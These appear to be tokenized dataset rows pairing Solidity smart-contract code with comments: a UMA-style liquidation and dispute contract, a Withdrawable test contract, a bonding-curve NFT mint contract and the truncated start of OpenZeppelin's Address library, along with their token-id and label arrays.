liquidationId, bool disputeSucceeded ); event LiquidationWithdrawn( address indexed caller, uint256 withdrawalAmount, Status indexed liquidationStatus, uint256 settlementPrice ); /**************************************** * MODIFIERS * ****************************************/ modifier disputable(uint256 liquidationId, address sponsor) { _disputable(liquidationId, sponsor); _; } modifier withdrawable(uint256 liquidationId, address sponsor) { _withdrawable(liquidationId, sponsor); _; } /** * @notice Constructs the liquidatable contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public PricelessPositionManager( params.expirationTimestamp, params.withdrawalLiveness, params.collateralAddress, params.finderAddress, params.priceFeedIdentifier, params.syntheticName, params.syntheticSymbol, params.tokenFactoryAddress, params.minSponsorTokens, params.timerAddress, params.excessTokenBeneficiary ) nonReentrant() { require(params.collateralRequirement.isGreaterThan(1), "CR is more than 100%"); require( params.sponsorDisputeRewardPct.add(params.disputerDisputeRewardPct).isLessThan(1), "Rewards are more than 100%" ); // Set liquidatable specific variables. liquidationLiveness = params.liquidationLiveness; collateralRequirement = params.collateralRequirement; disputeBondPct = params.disputeBondPct; sponsorDisputeRewardPct = params.sponsorDisputeRewardPct; disputerDisputeRewardPct = params.disputerDisputeRewardPct; } /**************************************** * LIQUIDATION FUNCTIONS * ****************************************/ /** * @notice Liquidates the sponsor's position if the caller has enough * synthetic tokens to retire the position's outstanding tokens. Liquidations above * a minimum size also reset an ongoing "slow withdrawal"'s liveness. * @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be * approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`. * @param sponsor address of the sponsor to liquidate. * @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. * @param deadline abort the liquidation if the transaction is mined after this timestamp. * @return liquidationId ID of the newly created liquidation. * @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position. * @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully. */ function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external fees() onlyPreExpiration() nonReentrant() returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ) { // Check that this transaction was mined pre-deadline. require(getCurrentTime() <= deadline, "Mined after deadline"); // Retrieve Position data for sponsor PositionData storage positionToLiquidate = _getPositionData(sponsor); tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding); // Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral, // then set this to 0, otherwise set it to (startCollateral - withdrawal request amount). FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral); FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0); if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) { startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount); } // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding; // The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken]. // maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal), "CR is more than max liq. price" ); // minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens. require( minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal), "CR is less than min liq. price" ); } // Compute final fee at time of liquidation. finalFeeBond = _computeFinalFees(); // These will be populated within the scope below. FixedPoint.Unsigned memory lockedCollateral; FixedPoint.Unsigned memory liquidatedCollateral; // Scoping to get rid of a stack too deep error. { FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding); // The actual amount of collateral that gets moved to the liquidation. lockedCollateral = startCollateral.mul(ratio); // For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of // withdrawal requests. liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio); // Part of the withdrawal request is also removed. Ideally: // liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral. FixedPoint.Unsigned memory withdrawalAmountToRemove = positionToLiquidate.withdrawalRequestAmount.mul( ratio ); _reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove); } // Add to the global liquidation collateral count. _addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond)); // Construct liquidation object. // Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new // LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push. liquidationId = liquidations[sponsor].length; liquidations[sponsor].push( LiquidationData({ sponsor: sponsor, liquidator: msg.sender, state: Status.PreDispute, liquidationTime: getCurrentTime(), tokensOutstanding: tokensLiquidated, lockedCollateral: lockedCollateral, liquidatedCollateral: liquidatedCollateral, rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)), disputer: address(0), settlementPrice: FixedPoint.fromUnscaledUint(0), finalFee: finalFeeBond }) ); // If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than // some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be // "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold // is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal. // We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter // denominated in token currency units and we can avoid adding another parameter. FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens; if ( positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal. positionToLiquidate.withdrawalRequestPassTimestamp <= getCurrentTime() && // The slow withdrawal has not yet expired. tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold". ) { positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(liquidationLiveness); } emit LiquidationCreated( sponsor, msg.sender, liquidationId, tokensLiquidated.rawValue, lockedCollateral.rawValue, liquidatedCollateral.rawValue, getCurrentTime() ); // Destroy tokens tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue); tokenCurrency.burn(tokensLiquidated.rawValue); // Pull final fee from liquidator. collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue); } /** * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond * and pay a fixed final fee charged on each price request. * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes. * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute * bond amount is calculated from `disputeBondPct` times the collateral in the liquidation. * @param liquidationId of the disputed liquidation. * @param sponsor the address of the sponsor whose liquidation is being disputed. * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond). */ function dispute(uint256 liquidationId, address sponsor) external disputable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory totalPaid) { LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId); // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees. FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPct).mul( _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral) ); _addCollateral(rawLiquidationCollateral, disputeBondAmount); // Request a price from DVM. Liquidation is pending dispute until DVM returns a price. disputedLiquidation.state = Status.PendingDispute; disputedLiquidation.disputer = msg.sender; // Enqueue a request with the DVM. _requestOraclePrice(disputedLiquidation.liquidationTime); emit LiquidationDisputed( sponsor, disputedLiquidation.liquidator, msg.sender, liquidationId, disputeBondAmount.rawValue ); totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee); // Pay the final fee for requesting price from the DVM. _payFinalFees(msg.sender, disputedLiquidation.finalFee); // Transfer the dispute bond amount from the caller to this contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue); } /** * @notice After a dispute has settled or after a non-disputed liquidation has expired, * the sponsor, liquidator, and/or disputer can call this method to receive payments. * @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment. * If the dispute FAILED: only the liquidator can receive payment. * Once all collateral is withdrawn, delete the liquidation data. * @param liquidationId uniquely identifies the sponsor's liquidation. * @param sponsor address of the sponsor associated with the liquidation. * @return amountWithdrawn the total amount of underlying returned from the liquidation. */ function withdrawLiquidation(uint256 liquidationId, address sponsor) public withdrawable(liquidationId, sponsor) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (msg.sender == liquidation.disputer) || (msg.sender == liquidation.liquidator) || (msg.sender == liquidation.sponsor), "Caller cannot withdraw rewards" ); // Settles the liquidation if necessary. This call will revert if the price has not resolved yet. _settle(liquidationId, sponsor); // Calculate rewards as a function of the TRV. // Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata. FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral); FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice; FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul(settlementPrice).mul( feeAttenuation ); FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation); FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPct.mul(tokenRedemptionValue); FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPct.mul(tokenRedemptionValue); FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPct); FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation); // There are three main outcome states: either the dispute succeeded, failed or was not updated. // Based on the state, different parties of a liquidation can withdraw different amounts. // Once a caller has been paid their address deleted from the struct. // This prevents them from being paid multiple from times the same liquidation. FixedPoint.Unsigned memory withdrawalAmount = FixedPoint.fromUnscaledUint(0); if (liquidation.state == Status.DisputeSucceeded) { // If the dispute is successful then all three users can withdraw from the contract. if (msg.sender == liquidation.disputer) { // Pay DISPUTER: disputer reward + dispute bond + returned final fee FixedPoint.Unsigned memory payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee); withdrawalAmount = withdrawalAmount.add(payToDisputer); delete liquidation.disputer; } if (msg.sender == liquidation.sponsor) { // Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward FixedPoint.Unsigned memory remainingCollateral = collateral.sub(tokenRedemptionValue); FixedPoint.Unsigned memory payToSponsor = sponsorDisputeReward.add(remainingCollateral); withdrawalAmount = withdrawalAmount.add(payToSponsor); delete liquidation.sponsor; } if (msg.sender == liquidation.liquidator) { // Pay LIQUIDATOR: TRV - dispute reward - sponsor reward // If TRV > Collateral, then subtract rewards from collateral // NOTE: This should never be below zero since we prevent (sponsorDisputePct+disputerDisputePct) >= 0 in // the constructor when these params are set. FixedPoint.Unsigned memory payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub( disputerDisputeReward ); withdrawalAmount = withdrawalAmount.add(payToLiquidator); delete liquidation.liquidator; } // Free up space once all collateral is withdrawn by removing the liquidation object from the array. if ( liquidation.disputer == address(0) && liquidation.sponsor == address(0) && liquidation.liquidator == address(0) ) { delete liquidations[sponsor][liquidationId]; } // In the case of a failed dispute only the liquidator can withdraw. } else if (liquidation.state == Status.DisputeFailed && msg.sender == liquidation.liquidator) { // Pay LIQUIDATOR: collateral + dispute bond + returned final fee withdrawalAmount = collateral.add(disputeBondAmount).add(finalFee); delete liquidations[sponsor][liquidationId]; // If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this // state as a dispute failed and the liquidator can withdraw. } else if (liquidation.state == Status.PreDispute && msg.sender == liquidation.liquidator) { // Pay LIQUIDATOR: collateral + returned final fee withdrawalAmount = collateral.add(finalFee); delete liquidations[sponsor][liquidationId]; } require(withdrawalAmount.isGreaterThan(0), "Invalid withdrawal amount"); // Decrease the total collateral held in liquidatable by the amount withdrawn. amountWithdrawn = _removeCollateral(rawLiquidationCollateral, withdrawalAmount); emit LiquidationWithdrawn(msg.sender, amountWithdrawn.rawValue, liquidation.state, settlementPrice.rawValue); // Transfer amount withdrawn from this contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); return amountWithdrawn; } /** * @notice Gets all liquidation information for a given sponsor address. * @param sponsor address of the position sponsor. * @return liquidationData array of all liquidation information for the given sponsor address. */ function getLiquidations(address sponsor) external view nonReentrantView() returns (LiquidationData[] memory liquidationData) { return liquidations[sponsor]; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // This settles a liquidation if it is in the PendingDispute state. If not, it will immediately return. // If the liquidation is in the PendingDispute state, but a price is not available, this will revert. function _settle(uint256 liquidationId, address sponsor) internal { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); // Settlement only happens when state == PendingDispute and will only happen once per liquidation. // If this liquidation is not ready to be settled, this method should return immediately. if (liquidation.state != Status.PendingDispute) { return; } // Get the returned price from the oracle. If this has not yet resolved will revert. liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime); // Find the value of the tokens in the underlying collateral. FixedPoint.Unsigned memory tokenRedemptionValue = liquidation.tokensOutstanding.mul( liquidation.settlementPrice ); // The required collateral is the value of the tokens in underlying * required collateral ratio. FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement); // If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid) // Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals. bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral); liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed; emit DisputeSettled( msg.sender, sponsor, liquidation.liquidator, liquidation.disputer, liquidationId, disputeSucceeded ); } function _pfc() internal override view returns (FixedPoint.Unsigned memory) { return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral)); } function _getLiquidationData(address sponsor, uint256 liquidationId) internal view returns (LiquidationData storage liquidation) { LiquidationData[] storage liquidationArray = liquidations[sponsor]; // Revert if the caller is attempting to access an invalid liquidation // (one that has never been created or one has never been initialized). require( liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized, "Invalid liquidation ID" ); return liquidationArray[liquidationId]; } function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) { return liquidation.liquidationTime.add(liquidationLiveness); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _disputable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); require( (getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.PreDispute), "Liquidation not disputable" ); } function _withdrawable(uint256 liquidationId, address sponsor) internal view { LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId); Status state = liquidation.state; // Must be disputed or the liquidation has passed expiry. require( (state > Status.PreDispute) || ((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.PreDispute)), "Liquidation not withdrawable" ); } } contract ExpiringMultiParty is Liquidatable { /** * @notice Constructs the ExpiringMultiParty contract. * @param params struct to define input parameters for construction of Liquidatable. Some params * are fed directly into the PricelessPositionManager's constructor within the inheritance tree. */ constructor(ConstructorParams memory params) public Liquidatable(params) // Note: since there is no logic here, there is no need to add a re-entrancy guard. { } }
solhint-disable-next-line no-empty-blocks
contract WithdrawableTest is Withdrawable { enum Roles { Governance, Withdraw } constructor() public { _createExclusiveRole(uint256(Roles.Governance), uint256(Roles.Governance), msg.sender); _createWithdrawRole(uint256(Roles.Withdraw), uint256(Roles.Governance), msg.sender); } function pay() external payable { require(msg.value > 0); } function setInternalWithdrawRole(uint256 setRoleId) public { _setWithdrawRole(setRoleId); } }
7,359,641
[ 1, 18281, 11317, 17, 8394, 17, 4285, 17, 1369, 1158, 17, 5531, 17, 7996, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3423, 9446, 429, 4709, 353, 3423, 9446, 429, 288, 203, 203, 203, 203, 203, 203, 565, 2792, 19576, 288, 611, 1643, 82, 1359, 16, 3423, 9446, 289, 203, 565, 3885, 1435, 1071, 288, 203, 203, 3639, 389, 2640, 17075, 2996, 12, 11890, 5034, 12, 6898, 18, 43, 1643, 82, 1359, 3631, 2254, 5034, 12, 6898, 18, 43, 1643, 82, 1359, 3631, 1234, 18, 15330, 1769, 203, 203, 3639, 389, 2640, 1190, 9446, 2996, 12, 11890, 5034, 12, 6898, 18, 1190, 9446, 3631, 2254, 5034, 12, 6898, 18, 43, 1643, 82, 1359, 3631, 1234, 18, 15330, 1769, 203, 203, 565, 289, 203, 203, 203, 203, 565, 445, 8843, 1435, 3903, 8843, 429, 288, 203, 203, 3639, 2583, 12, 3576, 18, 1132, 405, 374, 1769, 203, 203, 565, 289, 203, 203, 203, 203, 565, 445, 444, 3061, 1190, 9446, 2996, 12, 11890, 5034, 444, 2996, 548, 13, 1071, 288, 203, 203, 3639, 389, 542, 1190, 9446, 2996, 12, 542, 2996, 548, 1769, 203, 203, 565, 289, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.8.0 <0.9.0; //SPDX-License-Identifier: MIT // https://github.com/austintgriffith/scaffold-eth/tree/moonshot-bots-with-curve //import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; //learn more: https://docs.openzeppelin.com/contracts/3.x/erc721 // GET LISTED ON OPENSEA: https://testnets.opensea.io/get-listed/step-two contract MockNFTContract is ERC721Enumerable { address payable public constant recipient = payable(0x72Dc1B4d61A477782506186339eE7a897ba7d00A); uint256 public constant limit = 21; uint256 public constant curve = 1030; // price increase 3% with each purchase uint256 public price = 0.0033 ether; uint256 public currentSupply = 0; using Counters for Counters.Counter; Counters.Counter private _tokenIds; string[] private uris; constructor() ERC721("MoonShotBots", "MSB") { uris = [ "Superior_Wiki.json", "Homely_Word_processor.json", "Abrupt_Paste.json", "Hungry_Inbox.json", "Acidic_Digital.json", "Hungry_Windows.json", "Adorable_Malware.json", "Hurt_App.json", "Adorable_Platform.json", "Hurt_Bug.json", "Adventurous_Hack.json", "Hurt_Byte.json", "Aggressive_Kernel.json", "Hurt_Spyware.json", "Alert_Flash.json", "Icy_Hyperlink.json", "Alert_Privacy.json", "Ideal_Captcha.json", "Alert_Status_bar.json", "Ideal_Node.json", "Aloof_Data.json" ]; } function mintItem(address to) public payable returns (uint256) { require(_tokenIds.current() < limit, "DONE MINTING"); require(msg.value >= price, "NOT ENOUGH"); price = (price * curve) / 1000; currentSupply++; _tokenIds.increment(); uint256 id = _tokenIds.current(); _mint(to, id); (bool success, ) = recipient.call{ value: msg.value }(""); require(success, "could not send"); return id; } /** * @notice Returns the baseURI */ function _baseURI() internal view virtual override returns (string memory) { return "https://gateway.pinata.cloud/ipfs/QmdRmZ1UPSALNVuXY2mYPb3T5exn9in1AL3tsema4rY2QF/json/"; } /** * @notice Returns the token uri containing the metadata * @param tokenId nft id */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); require(tokenId < limit, "Nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, uris[tokenId - 1])) : ""; } /** * @notice Returns current floor value */ function floor() public view returns (uint256) { if (currentSupply == 0) { return address(this).balance; } return address(this).balance / currentSupply; } /** * @notice Executes a sale and updates the floor price * @param _id nft id */ function redeem(uint256 _id) external { require(ownerOf(_id) == msg.sender, "Not Owner"); uint256 currentFloor = floor(); require(currentFloor > 0, "sale cannot be made until floor is established"); currentSupply--; super._burn(_id); (bool success, ) = msg.sender.call{ value: currentFloor }(""); require(success, "sending floor price failed"); } /** * @notice For accepting eth */ receive() external payable {} }
price increase 3% with each purchase
uint256 public constant curve = 1030;
12,971,113
[ 1, 8694, 10929, 890, 9, 598, 1517, 23701, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 5034, 1071, 5381, 8882, 273, 1728, 5082, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since 